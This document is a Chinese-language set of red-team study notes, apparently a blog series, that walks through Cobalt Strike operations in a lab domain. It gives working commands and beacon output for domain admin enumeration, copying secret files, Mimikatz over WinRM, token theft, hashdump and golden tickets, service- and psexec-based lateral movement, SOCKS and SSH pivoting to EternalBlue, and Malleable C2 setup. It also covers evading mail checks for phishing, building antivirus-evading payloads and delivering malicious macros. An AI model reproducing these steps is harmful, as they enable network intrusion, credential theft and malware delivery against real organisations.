shelldir\\host\C$#管理员账号运行结果beacon>shelldir\\WinDC\C$[*]Taskedbeacontorun:dir\\WinDC\C$[+]hostcalledhome,sent:55bytes[+]receivedoutput:驱动器\\WinDC\C$中的卷没有标签。卷的序列号是F269-89A7\\WinDC\C$的目录2020/06/2409:29
列出域管理员
对于发现域管理员账号,可以在共享里使用本地的Windows命令。运行以下两条命令可以用来找出这些“域群组”的成员。
netgroup"enterpriseadmins"/DOMAINnetgroup"domainadmins"/DOMAINbeacon>shellnetgroup"enterpriseadmins"/domain[*]Taskedbeacontorun:netgroup"enterpriseadmins"/domain[+]hostcalledhome,sent:68bytes[+]receivedoutput:组名EnterpriseAdmins注释企业的指定系统管理员成员-------------------------------------------------------------------------------Administrator命令成功完成。beacon>shellnetgroup"domainadmins"/domain[*]Taskedbeacontorun:netgroup"domainadmins"/domain[+]hostcalledhome,sent:64bytes[+]receivedoutput:组名DomainAdmins注释指定的域管理员成员-------------------------------------------------------------------------------Administrator命令成功完成。或者运行下面的命令来看谁是域控制器上的管理员
netlocalgroup"administrators"/DOMAINbeacon>shellnetlocalgroup"administrators"/domain[*]Taskedbeacontorun:netlocalgroup"administrators"/domain[+]hostcalledhome,sent:70bytes[+]receivedoutput:别名administrators注释管理员对计算机/域有不受限制的完全访问权成员-------------------------------------------------------------------------------administratorDomainAdminsDanielEnterpriseAdmins命令成功完成。Net模块
beacon的net模块也可以帮助我们,下面的命令中TARGET的意思是一个域控制器或者是任何想查看的组名,比如企业管理员、域管理员等等
netgroup\\TARGETgroupname也可以运行下面的命令,这会连接任意目标来获取列表
本地管理员可能是一个域账户,因此如果想把一个系统作为目标,应该找到谁是这个系统的本地管理员,因为如果获得了它的密码哈希值或者凭据就可以伪装成那个用户。
beacon的net模块可以在系统上从一个没有特权的关联中查询本地组和用户。
在beacon控制台中运行下面命令可以获得一个目标上的群组列表
netlocalgroup\\TARGET如果想获取群组的列表,可运行下面的命令来获得一个群组成员的名单列表。
netlocalgroup\\TARGETgroupnamebeacon>netlocalgroup\\WinDCadministrators[*]TaskedbeacontorunnetlocalgroupadministratorsonWinDC[+]hostcalledhome,sent:104510bytes[+]receivedoutput:Membersofadministratorson\\WinDC:TEAMSSIX\AdministratorTEAMSSIX\DanielTEAMSSIX\EnterpriseAdminsTEAMSSIX\DomainAdminsPowerView模块
PowerView使用下面的命令能够在一个主机上找到本地管理员,这条命令实际上通过管理员群组找到同样的群组并且把成员名单返回出来。
查看共享文件
比如我们可以通过运行下面的命令来列出C:\foo的共享文件
shelldir\\host\C$\foobeacon>shelldir\\WinDC\C$[*]Taskedbeacontorun:dir\\WinDC\C$[+]hostcalledhome,sent:55bytes[+]receivedoutput:驱动器\\WinDC\C$中的卷没有标签。卷的序列号是F269-89A7\\WinDC\C$的目录2020/06/2409:29
比如运行下面的命令将secrets.txt文件复制到当前目录。
shellcopy\\host\C$\foo\secrets.txtbeacon>shellcopy\\WinDC\C$\foo\secrets.txt[*]Taskedbeacontorun:copy\\WinDC\C$\foo\secrets.txt[+]hostcalledhome,sent:93bytes[+]receivedoutput:已复制1个文件。查看文件列表
比如运行下面的命令。其中/S表示列出指定目录及子目录所有文件,/B表示使用空格式,即没有标题或摘要信息。
shelldir/S/B\\host\C$beacon>shelldir/S/B\\WinDC\C$\Users[*]Taskedbeacontorun:dir/S/B\\WinDC\C$\Users[+]hostcalledhome,sent:67bytes[+]receivedoutput:\\WinDC\C$\Users\administrator\\WinDC\C$\Users\Classic.NETAppPool\\WinDC\C$\Users\Daniel\\WinDC\C$\Users\Public\\WinDC\C$\Users\administrator\Contacts\\WinDC\C$\Users\administrator\Desktop\\WinDC\C$\Users\administrator\Documents\\WinDC\C$\Users\administrator\Downloads\\WinDC\C$\Users\administrator\Favorites……内容过多,余下部分省略……使用WinRM运行命令
WinRM运行在5985端口上,WinRM是Windows远程管服务,使用WinRM可以使远程管理更容易一些。
如果想利用WinRM运行命令则可以使用下面的命令。
powershellInvoke-Command-ComputerNameTARGET-ScriptBlock{commandhere}beacon>powershellInvoke-Command-ComputerNameWinDC-ScriptBlock{netlocalgroupadministrators}[*]Taskedbeacontorun:Invoke-Command-ComputerNameWinDC-ScriptBlock{netlocalgroupadministrators}[+]hostcalledhome,sent:303bytes[+]receivedoutput:别名administrators注释管理员对计算机/域有不受限制的完全访问权成员-------------------------------------------------------------------------------AdministratorDomainAdminsDanielEnterpriseAdmins命令成功完成。注:如果命令运行失败可能是因为WinRM配置原因,可在powershell环境下运行winrmquickconfig命令,输入y回车即可。
命令运行后的结果,WinRM也将通过命令行进行显示,因此可以使用Powershell的Invoke命令来作为远程工具,而不使用其他的恶意软件来控制系统。
通过WinRM运行Mimikatz
更进一步,甚至可以使用PowerSploit来通过WinRM运行Mimikatz,只需要先导入Invoke-Mimikatz.ps1文件,再执行以下命令即可。
因为beacon上传文件大小限制在1MB,而Invoke-Mimikatz.ps1文件大小在2MB多,因此直接运行powershell-import导入该文件会报错,这里可以选择使用beacon中的upload命令或者在当前会话的FileBrowser图形界面中上传该文件。
uploadC:\path\Invoke-Mimikatz.ps1上传之后通过dir命令可以查看到文件被上传到了C盘下,之后可以运行以下命令来导入该文件。
powershellimport-moduleC:\Invoke-Mimikatz.ps1最后再运行以下命令就能通过WinRM执行Mimikatz了。
powershellInvoke-Mimikatz-ComputerNameTARGET如果提示无法将“Invoke-Mimikatz”项识别为cmdlet、函数……,则可以将两条命令以分号合并在一起运行,即:
终于把碰到的坑都填完了,睡觉……
如果当前账号权限被系统认为是本地管理员权限,那么就可以执行很多管理员才能做的事,接下来就来看一下这样的一个过程是如何工作的,其中会涉及到以下要点:
2、Credentials凭证
3、PasswordHashes密码哈希
以下是令牌窃取的过程:
接下来将对这些命令进行演示,目前有一个SYSTEM权限的会话,该会话在WIN-72A8ERDSF2P主机下,此时想查看WIN-P2AASSD1AF1主机下的文件(WIN-P2AASSD1AF1主机是TEAMSSIX域的域控制器),那么直接运行dir会提示拒绝访问。
beacon>shelldir\\WIN-P2AASSD1AF1\C$[*]Taskedbeacontorun:dir\\WIN-P2AASSD1AF1\C$[+]hostcalledhome,sent:55bytes[+]receivedoutput:拒绝访问。此时,先用ps查看一下当前系统进程信息。
beacon>steal_token4092[*]TaskedbeacontostealtokenfromPID4092[+]hostcalledhome,sent:12bytes[+]ImpersonatedTEAMSSIX\administrator查看一下当前会话uid
beacon>getuid[*]Taskedbeacontogetuserid[+]hostcalledhome,sent:8bytes[*]YouareTEAMSSIX\administrator(admin)再次尝试获取域控制器主机下的文件
发现可以成功访问了,使用rev2self可移除当前窃取的令牌
beacon>rev2self[*]Taskedbeacontoreverttoken[+]hostcalledhome,sent:8bytes再次查看uid发现变成了原来的SYSTEM权限,此时WIN-P2AASSD1AF1主机上的文件也拒绝访问了。
这里还是和上文一样的环境,在一个SYSTEM会话下,获取TEAMSSIX\administrator账号令牌,使用mimikatz可以得知TEAMSSIX\administrator账号密码为Test111!,接下来使用make_token命令。
2、使用spawnbeacon替代凭证
spawnasDOMAIN\userpassword3、在目标上建立账户
netuse\\host\C$/USER:DOMAIN\userpassword这两种方法,在之前的笔记中都或多或少的提及过,这里不再过多赘述。
使用mimikatz获取密码哈希
pthDOMAIN\userntlmhash如何工作的?
2、cobaltstrike自动的从那个进程中窃取令牌并关闭
首先使用hashdump获取用户的密码哈希值,这里的beacon会话为SYSTEM权限。
beacon>hashdump[*]Taskedbeacontodumphashes[+]hostcalledhome,sent:82501bytes[+]receivedpasswordhashes:Administrator:500:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::Daniel:1000:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::Guest:501:aca3b435b5z404eeaad3f435b51404he:31d6cfe0d16ae931b73c59d7e0c089c0:::TeamsSix:1002:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::使用pth获取信任
查看有哪些Kerberos票据
shellklist除去kerberos票据
kerberos_ticket_purg加载kerberos票据
使用mimikatz伪造黄金票据需要:
1、目标的用户名及域名
2、域的SID值
域的SID值即安全标识符SecurityIdentifiers,使用whoami/user命令可查看,注意不需要SID最后的一组数字。
beacon>shellwhoami/user[*]Taskedbeacontorun:whoami/user[+]hostcalledhome,sent:43bytes[+]receivedoutput:用户信息----------------用户名SID=========================================================teamssix\danielS-1-5-21-5311978431-183514165-284342044-1000因为不需要SID最后一组数字,所以这里要使用的SID也就是S-1-5-21-5311978431-183514165-284342044
3、DC中KRBTGT用户的NTLM哈希
DC中KRBTGT用户的NTLM哈希可以通过dcsync或hashdump获得,下面的hashdump命令在域控制器的SYSTEM权限会话下运行。
beacon>hashdump[*]Taskedbeacontodumphashes[+]hostcalledhome,sent:82501bytes[+]receivedpasswordhashes:Administrator:500:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::Guest:501:aca3b435b5z404eeaad3f435b51404he:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aca3b435b5z404eeaad3f435b51404he:z1f8417a00az34scwb0dc15x66z43bg1:::daniel:1108:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::CobaltStrike在Access->GoldenTicket中可以打开生成黄金票据的界面。
信息填完之后,选择Build,需要注意Domain需要填写成FQDN格式,即完全合格域名FullyQualifiedDomainName,也就是类似于teamssix.com的格式。
此时可以通过shelldir\\host\C$检查自己是否有权限,也可以使用PowerShell运行whoami查看自己是谁。
1、与目标建立信任关系
2、复制可执行文件到目标上
3、在目标上运行可执行文件
4、实现对目标的控制
以上是根据视频教程中直译的结果,个人感觉其实这一节叫横向移动的方法更为合适。
创建可执行文件
创建可执行文件可以在CobaltStrike的Attack->Packages->WindowsExecutable(s)处进行创建。
如果用于内网中的横向移动,那么强烈建议使用SMBBeacon,SMBBeacon就是为了内网横向扩展渗透而设计的。
上传可执行文件
首先使用CobaltStrike上的upload功能上传文件,接着复制文件到目标主机的其他位置。
shellcopyfile.exe\\host\C$\Windows\Tempbeacon>upload/root/beacon.exe[*]Taskedbeacontoupload/root/Desktop/beacon.exeasbeacon.exe[+]hostcalledhome,sent:289302bytesbeacon>shellcopybeacon.exe\\WinTest\C$\Windows\Temp[*]Taskedbeacontorun:copybeacon.exe\\WinTest\C$\Windows\Temp[+]hostcalledhome,sent:72bytes[+]receivedoutput:已复制1个文件。执行文件(方法一)
1、生成WindowsServiceEXE并上传
2、在目标主机上创建一个服务
shellsc\\hostcreatenamebinpath=c:\windows\temp\file.exebeacon>shellsc\\wintestcreatebeaconbinpath=c:\windows\temp\beacon.exe[*]Taskedbeacontorun:sc\\wintestcreatebeaconbinpath=c:\windows\temp\beacon.exe[+]hostcalledhome,sent:93bytes[+]receivedoutput:[SC]CreateService成功注:记住binpath路径
3、在目标主机上启动服务
shellsc\\hoststartnamebeacon>shellsc\\winteststartbeacon[*]Taskedbeacontorun:sc\\winteststartbeacon[+]hostcalledhome,sent:56bytes[+]receivedoutput:SERVICE_NAME:beaconTYPE:10WIN32_OWN_PROCESSSTATE:2START_PENDING(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)WIN32_EXIT_CODE:0(0x0)SERVICE_EXIT_CODE:0(0x0)CHECKPOINT:0x0WAIT_HINT:0x7d0PID:3816FLAGS:beacon>linkwintest[*]Taskedtolinkto\\wintest\pipe\msagent_da00[+]hostcalledhome,sent:36bytes[+]establishedlinktochildbeacon:192.168.175.1304、清除痕迹与服务
shellsc\\hostdeletename1beacon>shelldelbeacon.exe[*]Taskedbeacontorun:delbeacon.exe[+]hostcalledhome,sent:57bytesbeacon>shelldel\\wintest\C$\windows\temp\beacon.exe[*]Taskedbeacontorun:del\\wintest\C$\windows\temp\beacon.exe[+]hostcalledhome,sent:83bytesbeacon>shellsc\\wintestdeletebeacon[*]Taskedbeacontorun:sc\\wintestdeletebeacon[+]hostcalledhome,sent:69bytes[+]receivedoutput:[SC]DeleteService成功执行文件(方法二)
1、生成WindowsEXE并上传,注意这里生成的EXE和方法一生成的EXE是不一样的类型,这里生成的是WindowsEXE,不是方法一中的WindowsServiceEXE
shellat\\hostHH:mmC:\path\to\bad.exebeacon>shellat\\windc15:00C:\windows\temp\beacon.exe[*]Taskedbeacontorun:at\\windc15:00C:\windows\temp\beacon.exe[+]hostcalledhome,sent:76bytes[+]receivedoutput:新加了一项作业,其作业ID=14、当计划任务被执行时,执行linkhostname即可上线主机
beacon>linkwindc[*]Taskedtolinkto\\windc\pipe\msagent_d76a[+]hostcalledhome,sent:34bytes[+]establishedlinktochildbeacon:192.168.175.144beacon的自动操作
前面说的两种执行文件的方法都需要往磁盘里上传文件,如果不想往磁盘中上传文件,也可以使用beacon的自动操作。
psexec[target][share][listener]psexec_psh[target][listener]winrm[target][listener]wmi[target][listener]在CobaltStrike的viwe-->Targets下,右击主机选择Jump也可以通过图形化的方式进行上述操作,这样也使得横向移动更加的简单。
接下来进行一下演示,目前手中有一个普通机器的管理员会话,我们先在这台机器上运行netview查看一下当前域环境中的主机信息。
beacon>netview[*]Taskedbeacontorunnetview[+]hostcalledhome,sent:104504bytes[+]receivedoutput:Listofhosts:[+]receivedoutput:ServerNameIPAddressPlatformVersionTypeComment-----------------------------------------------WINDC192.168.175.1445006.1PDCWINTEST192.168.175.1305006.1因为是自己本地搭建的测试环境,所以主机很少,可以看到当前域中有两台机器,再利用PowerView查找一下具有本地管理员访问权限的用户
beacon>powershell-importPowerView.ps1[*]Taskedbeacontoimport:PowerView.ps1[+]hostcalledhome,sent:101224bytesbeacon>powershellFind-LocalAdminAccess[*]Taskedbeacontorun:Find-LocalAdminAccess[+]hostcalledhome,sent:329bytes[+]receivedoutput:WinDC.teamssix.com接下来在WinDC上运行psexec,因为这里是64位的,所以选择psexec64,之后监听选择一个smbbeacon,会话就选择已经上线的wintest主机的会话,并勾选使用当前会话的访问令牌。
之后,windc主机就上线了,域中如果还有其他主机,也可以使用这种方法去横向移动。
在进行转发操作之前,需要将当前会话改为交互模式,也就是说输入命令就被执行,执行sleep0即为交互模式。
setgProxiessocks4:127.0.0.1:[port]setgReverseAllowProxytrue如果感觉上面命令比较长,还可以在ProxyPivots界面中点击Tunnel按钮查看命令。
unsetgProxiessetg命令和unsetg表示在metasploit中全局有效,不用在每次选择模块后再重新设置。
演示
1、环境说明
攻击机IP:192.168.175.200
上线主机:外部IP192.168.175.130、内部IP192.168.232.133
攻击目标:192.168.232.0/24地址段
当前已经上线了一个IP为192.168.175.130主机,通过ipconfig发现,该主机也在192.168.232.0/24地址段内。
但当前攻击机无法访问232的地址段,因此如果想对232段内的主机发起攻击,就可以采用将192.168.175.130作为跳板机访问的方式。
2、设置socks代理
开启交互模式
sleep0beacon>sleep0[*]Taskedbeacontobecomeinteractive[+]hostcalledhome,sent:16bytes开启socks代理
socks9527beacon>socks9527[+]startedSOCKS4aserveron:9527[+]hostcalledhome,sent:16bytes以上操作也可以通过图形化的方式进行。
3、Metasploit中进行设置
开启Metasploit后,运行setg命令
setgProxiessocks4:192.168.175.200:9527msf5>setgProxiessocks4:192.168.175.200:9527Proxies=>socks4:192.168.175.200:95274、扫描192.168.232.0/24地址段中的445端口
这里作为演示,只扫描一下445端口
通过扫描发现在192.168.232.0/24地址段内,除了已经上线的133主机外,还有132主机也开放了445端口,且该主机为Windows2008的操作系统,这里使用永恒之蓝作为演示。
1、设置socks代理
首先开启交互模式,之后开启socks代理
sleep0socks9527beacon>sleep0[*]Taskedbeacontobecomeinteractive[+]hostcalledhome,sent:16bytesbeacon>socks9527[+]hostcalledhome,sent:16bytes[+]startedSOCKS4aserveron:95272、配置ProxyChains
在攻击机上,配置/etc/proxychains.conf文件的最后一行,根据当前攻击主机IP与设置的Socks端口,修改如下:
socks4192.168.175.20095273、开始使用ProxyChains
proxychainsnmap-sT-Pn192.168.232.132-p80,443,445,3389-sT:使用TCP扫描
-Pn:不使用Ping
-p:指定扫描端口
注:不加上-sT-Pn参数,将无法使用proxychains进行代理扫描
继续使用上面的演示环境,首先右击上线主机会话,选择Pivoting-->Listener,除了Name选项之外,CS都会自动配置好,这里直接使用默认的配置信息。
之后生成一个Windows可执行文件,选择上一步生成的监听器,如果目标是64位则勾选使用x64Payload的选项。
之后将该可执行文件在目标主机上执行即可,在现实环境中可以尝试使用钓鱼邮件的方式诱导目标执行。
当目标执行该文件后,就会发现当前不出网的192.168.232.132主机已经上线了。
有一说一,关于这部分网上大部分教程还是CS3.x版本的教程,而在4.0的操作中个人感觉要方便很多。
网上关于这部分内容的CS4.0的教程真的是少之又少,一开始在参考3.x教程的时候踩了很多坑,最后终于某内部知识库发现了一篇关于这部分内容的4.0教程,在该教程的参考下才发现居然如此简单。
1、连接到上图中蓝色区域里的PIVOT主机并开启端口转发
ssh-D1080user@
2、在红色区域的PIVOT主机上开启通过SSHSocks的445端口转发
socatTCP4-LISTEN:445,forkSOCKS4:127.0.0.1:
3、在攻击者控制的主机上运行beacon,使其上线
注意需要使用administrator权限运行beacon4、在上线的主机上运行以下命令
make_token[DOMAIN\user][password]jumppsexec_psh
我在本地搭建了这样的一个环境。
ssh-D1080user@192.168.175.146>ssh-D1080user@192.168.175.146user@192.168.175.146'spassword:Lastlogin:FriJul3120:00:542020from192.168.175.1user@ubuntu:~$2、在Linux1主机上开启445端口转发
socatTCP4-LISTEN:445,forkSOCKS4:127.0.0.1:192.168.232.132:4453、在Win1主机上运行以下命令使Win2上线
make_tokenteamssix\administratorTest123!jumppsexec_psh192.168.175.200smbbeacon>make_tokenteamssix\administratorTest123![*]Taskedbeacontocreateatokenforteamssix\administrator[+]hostcalledhome,sent:61bytes[+]ImpersonatedWINTEST\Administratorbeacon>jumppsexec_psh192.168.175.200smb[*]Taskedbeacontorunwindows/beacon_bind_pipe(\\.\pipe\msagent_532c)on192.168.175.200viaServiceControlManager(PSH)[+]hostcalledhome,sent:5886bytes[+]receivedoutput:Startedservice4aea3b9on192.168.175.200[+]hostcalledhome,sent:204473bytes[+]establishedlinktochildbeacon:192.168.232.1324、随后便可以看到通过SSH上线的主机
Malleable是一种针对特定领域的语言,主要用来控制CobaltStrikeBeacon
在开启teamserver时,在其命令后指定配置文件即可调用,比如:
set语句是给一个选项赋值的方法,以分号结束。
setuseragent"Mozilla/5.0(compatible;MSIE8.0;WindowsNT5.1)";malleable给了我们很多选项,比如:
添加任意headers
header"header""value";parameter"key""value";转换/存储数据
这一节将使用该项目中的Malleable-C2-Profiles/APT/havex.profile配置文件作为示例。
测试配置文件是否有效
可以使用c2lint工具对配置文件进行测试,以判断配置文件编写的是否有效。
来到cobaltstrike目录下,可以看到有一个c2lint文件,该文件需要在Linux下运行。
./c2lint[profile]在运行的结果中,绿色正常(这里更像青色),黄色告警,红色错误,比如运行Malleable-C2-Profiles项目里的havex.profile文件。
当配置文件存在错误的时候,就会以红色显示出来
运行teamserver
./teamserver[teamserver_ip][teamserver_password][profile]>./teamserver192.168.12.2password./Malleable-C2-Profiles/APT/havex.profile[*]WilluseexistingX509certificateandkeystore(forSSL)Pickedup_JAVA_OPTIONS:-Dawt.useSystemAAFontSettings=on-Dswing.aatext=true[+]Iseeyou'reintothreatreplication../Malleable-C2-Profiles/APT/havex.profileloaded.[+]Teamserverisupon50050这里调用的havex.profile配置文件,该配置文件里对cookie进行了base64编码。
开启cobaltstrike后,使主机上线,通过wireshark抓包可以发现数据包确实符合这些特征。
关于MalleableC2文件的使用,这里只是大概记录了一些,想了解更多关于MalleableC2文件的内容或者注意事项等,可以参考A-TEAM团队的CS4.0用户手册。
CobaltStrike不是什么工作情况都能胜任的工具,因此就需要我们根据不同的情况去做一些辅助工作。
SPF、DKIM、DMARC都是邮件用于帮助识别垃圾信息的附加组件,那么作为一个攻击者,在发送钓鱼邮件的时候,就需要使自己的邮件能够满足这些组件的标准,或者发送到未配置这些组件的域。
在理解这些防御标准前,需要先理解如何在因特网上通过SMTP发送邮件。
SMTP
DKIMDomainKeysIdentifiedMail域名密钥识别邮件,DKIM是一种防范电子邮件欺诈的验证技术,通过消息加密认证的方式对邮件发送域名进行验证。
邮件接收方接收邮件时,会通过DNS查询获得公钥,验证邮件DKIM签名的有效性,从而判断邮件是否被篡改。
SPFSenderPolicyFramework发送人策略框架,SPF主要用来防止随意伪造发件人。其做法就是设置一个SPF记录,SPF记录实际上就是DNS的TXT记录。
如果邮件服务器收到一封来自IP不在SPF记录里的邮件则会退信或者标记为垃圾邮件。
我们可以使用以下命令查看目标的SPF记录。
dig+shortTXTtarget.com>dig+shortTXTqq.com"v=spf1include:spf.mail.qq.com-all"上面的include:spf.mail.qq.com表示引入spf.mail.qq.com域名下的SPF记录。
>dig+shortTXTspf-a.mail.qq.com"v=spf1ip4:203.205.251.0/24ip4:103.7.29.0/24ip4:59.36.129.0/24ip4:113.108.23.0/24ip4:113.108.11.0/24ip4:119.147.193.0/24ip4:119.147.194.0/24ip4:59.78.209.0/24ip4:113.96.223.0/24ip4:183.3.226.0/24ip4:183.3.255.0/24ip4:59.36.132.0/24-all"上面的ip4:203.205.251.0/24ip4:103.7.29.0/24表示只允许这个范围内的IP发送邮件。
DMARCDomain-basedMessageAuthentication,Reporting&Conformance基于域的消息认证,报告和一致性。
它用来检查一封电子邮件是否来自所声称的发送者。DMARC建立在SPF和DKIM协议上,并且添加了域名对齐检查和报告发送功能。这样可以改善域名免受钓鱼攻击的保护。
可以使用下面的命令查看目标的的DMARC记录。
发送钓鱼邮件的一些注意事项
1、检测目标是否有SPF记录,如果有则可能会被拦截
2、检测目标DMARC记录的p选项是否为reject,如果有则可能会被拒绝
3、模板中嵌入的URL地址,不要使用IP地址,要保证使用完整的URL地址
4、邮件的附件中不能附上一些可执行文件,比如exe格式的文件,因为一些邮件过滤器可能会将这些可执行文件删除
常规杀毒软件的目的就是发现已知病毒并中止删除它,而作为攻击者则需要对病毒文件进行免杀处理,从而使杀毒软件认为我们的文件是合法文件。
杀软受到的限制
1、杀毒软件不能把可疑文件删除或者结束运行,否则用户的正常操作可能就会受到影响,同时也会对杀毒软件公司的声誉、口碑产生影响。
2、杀毒软件不能占用太多的系统资源,否则用户可能会考虑卸载杀毒软件。
3、大多数杀毒软件的一个弱点就是只会在浏览器下载文件或者文件被写入磁盘时才会检查这个文件的特征码,也就是说在这种情况下才会检查文件是否是病毒。
如何工作
1、在大多数杀毒软件背后都会有一个已知病毒的签名数据库,通过将当前文件的特征码与病毒签名数据库进行比对,如果一致则说明该文件是病毒。
2、同时一些杀毒软件也会去发现用户的一些可疑行为,而且杀毒软件对这种可疑行为的判定会下比较大的功夫。因为如果误杀,造成的后果可能对用户来说是比较严重的。
3、一些杀毒软件会在沙箱环境中去运行可疑文件,然后根据该可疑文件的行为判断是否为病毒。
首先要判断目标使用了哪款杀毒软件,然后自己在虚拟机中去尝试绕过它。
其次可以使用CobaltStrike的ArtifactKit组件制作免杀可执行文件。ArtifactKit是一个制作免杀EXE、DLL和ServiceEXE的源代码框架,在CobaltStrike的Help-->Arsenal处可下载ArtifactKit。
ArtifactKit的工作原理大概如下:
1、将病毒文件进行混淆处理,使杀毒软件将其判定为可疑文件而不是病毒文件。这种混淆可以逃避那些使用简单字符串搜索来识别恶意代码的杀毒软件。
2、对病毒文件进行一些处理,以绕过沙箱检测。比如ArtifactKit中的src-common/bypass-pipe.c会生成可执行文件和DLL,它们通过命名管道为自己提供shellcode。如果防病毒沙箱不能模拟命名管道,它将找不到已知的恶意shellcode。
ArtifactKit的使用步骤大概如下:
1、下载ArtifactKit
2、如果需要的话就修改/混淆病毒文件
3、构建
4、使用ArtifactKit加载脚本
接下来就试试ArtifactKit进行免杀的效果,有条件的可以去官网下载支持一下正版。
这里使用ArtifactKit中的dist-peek方法进行测试。
来到CobaltStrike下打开CobaltStrike->ScriptManager,Load加载/Arsenal/artifact/dist-peek/artifact.cna插件,之后在Attacks->Packages->WindowsExecutable中生成木马文件。
使用VT检测发现仅有8个引擎检测到,感觉效果好像还行。
把每个杀软的病毒库升级到最新后,实测可以过腾讯电脑管家、火绒,但360安全卫士、360杀毒不行。
说句题外话,至于为什么用了两款360的产品,主要就是为了截图好看些。
此外,也可以使用VeilEvasion框架,VeilEvasion的安装也是比较简单的,Veil-Evasion在Kali2020以前是自带的,但Kali2020中是需要独立安装的。在Kali中可以直接使用apt-get进行安装。
由于VeilEvasion有200多M,因此建议挂上代理进行下载安装。
安装完成之后,在CobaltStrike里的Attacks->Packages->PayloadGenerator中选择Veil输出生成一个payload.txt文件
随后来到Kali下,输入veil启动,输入useEvasion使用Evasion工具,list查看当前可用的Payload
veiluseEvasionlist这里使用第17个即go/shellcode_inject/virtual.pyPayload作为示例,因为go、c等编译性语言语言相对于python等脚本语言来说免杀效果会好些。
use17之后输入generate,选择第三项Customshellcodestring,粘贴刚生成的payload.txt文本内容,输入要生成的exe文件名,即可生成一个免杀木马。
使用virustotal查杀了一下生成的bypass_go.exe,发现被40个引擎检测到,不得不说这效果很一般。
实测可以过360安全卫士、360杀毒,但腾讯电脑管家、火绒不行。
看到VT的检测结果后,我还以为四款杀软都能检测到呢,没想到啊。
使用方法可以参考项目中的介绍,目前效果感觉还是可以的,在virustotal上只被10个引擎检测到。
实测可以过360安全卫士、360杀毒、腾讯电脑管家,但火绒不行。
在测试完成之后,开始体会到为什么要判断目标使用了哪款杀软的目的了,就上面测试的情况来说,每一家都出现未检测到的情况。在实际的环境中,还是要根据目标的具体情况具体分析。
Emm,浏览器首页又被360改成360导航了。
另外不得不说一句,从使用的角度来说,火绒是这里面最乖的,没有其他杀毒软件那么多花花肠子。
补充
进行云查杀的一些情况:
1、首先判断文件是否为正常文件
2、如果判断为可疑文件,则把文件的hash上传到云上
3、同时把这个文件标记为可疑文件,而不是正常文件
因此可以通过修改我们的脚本来使其跳过云查杀,就像是在白名单里的程序一样。
接下来一起来看看CobaltStrikeJavaApplet攻击,在CobaltStrike的源码中内置了用于攻击JavaApplet签名的Applet工具。
使用Applet工具的步骤如下:
1、到Help->Arsenal
3、使用代码签名证书进行签名
4、构建
5、使用AppletKit加载脚本
大概在2014年7月,开始有人在钓鱼中使用宏攻击,在几年前,这是一种效果还很不错的攻击方式。
站在防御者的角度,一个好的防御应该是列出只允许自己运行的应用程序白名单而不允许他人运行。对于攻击者则是使用白名单应用程序将代理放到内存中的方法来进行攻击,JavaApplet攻击就是这样做的。
一种攻击的方法是直接插入内存进行攻击。JavaApplet、Office宏、CS下的PowerShell命令行都是这样做的。
一些白名单免杀的资料:
Win+R打开运行窗口,输入gpedit.msc,来到用户配置->管理模板->系统处,打开只允许指定的Windows程序
在打开的窗口中,勾选已启用,之后点击显示按钮,在其中写入白名单的程序名称后,点击两次确定之后即可。
在CobaltStrike客户端上,选择Packages-->MSOfficeMacro,指定一个监听器,点击Generate,之后根据提示的步骤生成一个Word文档。
大体的步骤如下:
1、打开MicrosoftWord或者Excel
2、来到视图-->宏
3、任意填写一个宏的名称
4、宏的位置选择为当前文档
5、点击创建
6、在打开的编辑器中,删除掉原来的内容
7、点击CobaltStrike上的CopyMacro按钮
8、将刚复制CobaltStrike生成的内容粘贴到打开的编辑器中
9、关闭编辑器
10、将文档保存为启用宏的文档,这里可以选择保存为启用宏的Word文档或者Word97-2003文档
接下来使用钓鱼邮件等方式上传到靶机,当靶机运行该文档后启用宏内容即可上线。
这里不得不吐槽一句,MicrosoftOffice的东西安装是真的麻烦。
在上面2-8步骤创建编辑宏内容的过程,也可以打开开发工具-->VisualBasic界面,这里推荐使用快捷键Alt+F11打开该界面。
之后编辑ThisDocument模块,粘贴宏代码也可以达到上述2-8步的效果。
感谢CobaltStrike的作者RaphaelMudge的课程,感谢UPHack学习呀上传的中文翻译版本,感谢A-Team团队的CobaltStrike4.0中文翻译手册,感谢每篇笔记最后参考链接的作者们,感谢曾经帮助我解决所碰到问题的大佬们,谢谢你们。